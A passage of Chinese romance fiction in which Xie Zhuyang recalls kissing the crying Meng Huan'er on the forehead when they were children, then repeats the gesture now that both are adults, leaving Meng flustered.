谢逐扬见状,立刻也跟着下了车,来到门口道:“不好意思,他是我弟弟。” 他想跟进去,结果被礼宾拦下。 “你又是谁?没有邀请函 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谢逐扬跟着云里雾里地看了几秒,突然发现孟涣尔的肩膀在抖动。他人一抽一抽的,好像在小声吸气。 一转过身来,竟满脸的泪痕。 谢逐扬看得一怔。 他来得悄无声息,孟涣尔回头看到谢逐扬,也跟着下意识动作一顿,却是一句话也说不出来,咬了咬牙,直接冲了出去。 那女人……该不会是孟涣尔的亲妈吧。 谢逐扬这样想着,转身跟上。 孟涣尔出了院子大门,载他来的网约车早已离开。孟涣尔也不在意,谁也不理地一直往出迈步,肩膀依旧抽抽着。 谢逐扬不知道自己是该让孟涣尔“节哀顺变”,还是干脆装作什么都没发生。跟司机打了个招呼,让对方在后面慢慢开车,自己在孟涣尔身后十来米远的地方跟着。 本以为过一阵也就好了,没想到等了二十分钟,孟涣尔还没停下。 他边哭边抹眼泪,脚下却倒腾得愈发的快,跟竞走似的。 ……差点忘了这家伙是超级耐力王。 发现他越走越远,谢逐扬加快脚步追上去,一把拉住孟涣尔的手臂:“你到底要到哪去?再走就要到城门口了。” “就算你是想徒步回家,方向也搞反了吧?” 孟涣尔闻言,顿时恶狠狠地回过头,泪眼朦胧地瞪他一眼。 那会儿的孟涣尔好像也说了类似现在的话吧。 “我做自己的事,你跟来干什么?故意看我笑话的吗?” “看我这么惨你现在满意了吧?” “你让我自己一个人静一静行不行!” 谢逐扬想啧声,看到这人花猫一样的脸,还是忍下来。 “我说孟涣尔,你怎么这么不识好歹,我大晚上闲着没事干跟出来就是为了笑话你?我怎么知道你要干什么。你以为我想管你吗,还不是怕你被坏人拐跑了,到时候你家和我家的大人都要来找我麻烦。” “我本来就不要你管!”孟涣尔带着哭腔地大吼一声,又回过身,像头倔牛似的继续向前。 当时的画面仔细想想还有点好笑。 他在柏油路上旁若无人地边走边哭,身后是一脸无奈与不耐烦混合在一起的谢逐扬,一大一小两个小学生引得路过的行人纷纷回头。 “……”谢逐扬压低声音,“你差不多得了,旁边有人在看。” 孟涣尔听了这话,瞬间哭得更加大声,好像让谢逐扬受到路人的视线炙烤之煎熬,也是他的报复之一。 ——都多少年了,孟涣尔哭起来还是像小孩一样,一旦发作,必然是排山倒海、气势如虹,根本不在意旁人的眼光如何,哭起来没完没了,好像无论谢逐扬说什么都没意义。 谢逐扬也还和从前一样,每一听到他哭,就感到一阵说不出来的心神不宁、坐立不安。 那种感觉促使着他必须下定决心做些什么,来让孟涣尔停止。 那次的他又是怎么将事情解决的来着? …… “啊吵死了。” 十几岁的少年正是自诩成熟的时候,猝然碰上这么一件让人在大庭广众之下束手无策、甚至是有点丢脸的事,却也很容易被激发出骨子里幼稚和执拗的那面。 “孟涣尔,别哭了。” “我让你别——” 脑袋里有根弦忽然崩断。 他一手肘把还在哭个不停的人捞过来,双手捧住对方的脸,在孟涣尔的额头上用力地亲了一下。 “不就是一个吻吗?这样可以了吧。” 那时候的孟涣尔又是怎么反应的来着? 回忆到这里,谢逐扬冷不丁动了。 一股莫名的力量催动着他,令他遵循起久远的回忆,按着孟涣尔的肩膀将他从自己的怀中推开。 又在对方还一脸懵然的时候捧住他的脸颊,对准额头亲了上去。 因为是仓忙之间出现的念头,谢逐扬的动作明显有些急促,地方也没对准,低下头时准心稍微偏了点,双唇刚好落在他那片红肿的肌肤上,力度有些重地快速碾压了一下。 嘴唇离开肌肤表面,因为摩擦力而轻轻发出啵声。 刹那间世界静止。 滚烫的触感迅速被表面一层冷空气所覆盖,被唇贴过的地方留下一块与旁边其他肌肤质感都不同的温凉。 孟涣尔的哭声像被按下暂停键一样瞬间消音,仿佛就连周遭的尘埃也凝固在了空中。 九岁的孟涣尔被亲完,直接在原地跳了起来,发出一声惊天的:“啊啊啊啊谢逐扬!” “你有病吧!!!!谁允许你亲我了!” 二十岁的孟涣尔被亲了,方才还泪眼朦胧的一双眼睛迅速瞪圆了,有好一会儿没动也没说话。 好几秒后,才反应过来似的疯狂眨起眼睛,后知后觉抬手捂住自己被亲过的地方,受惊般猛地向后仰头。 “你……你你你你——” 薄薄一层红晕迅速沿着脖子漫上脸颊,孟涣尔本就哭得面上发烫,此刻的脸越发像是一颗红苹果。 他被谢逐扬的举动震惊得舌头都捋不直,“你”了好半天才接上后面一句。 “你干嘛亲我?”